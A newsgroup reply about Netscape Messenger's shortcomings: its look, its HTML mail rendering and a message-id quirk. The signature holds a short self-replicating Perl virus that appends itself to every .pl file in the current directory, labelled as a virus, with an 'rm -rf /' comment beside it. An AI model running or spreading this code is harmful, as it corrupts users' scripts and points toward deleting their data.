Scripsit illa aut ille Disaster <disaster@disfanfic.net>:
> "Rudolf Polzer" <AntiATField_adsgohere@durchnull.de> wrote:
> > What's so bad about NM? It has exactly five bugs:
> >
> > 1. It looks ugly.
> > 2. Is has the same design mistake as OE: it displays messages using the
> >    HTML renderer, so security holes in it may be also exploited using
> >    mail. At least it's easy to disable JavaScript in mail.
> > 3. It looks ugly.
> > 4. The message-id bug: if you don't have an own domain, you have to put
> >    double qoutes around the mail address since otherwise NM would use
> >    the domain part in the MID and can then potentially create ununique
> >    MIDs. But this wouldn't harm Disaster because he has his own domain.
> > 5. Did I mention it looks ugly?
> >
> > So I think: if Disaster accepts irreparable damage to his eyes, he could
> > use NM.
> 
> Disaster abhors ugly looking programs. Layout is very important as far as
> I care!

The *layout* of Netscape it OK. The ugly thing is the light-grey
background. It might be better for the eyes, but it just looks ugly.
The worst thing is that the background is not configurable. The
background of one of the three panes is, but the others aren't.


-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################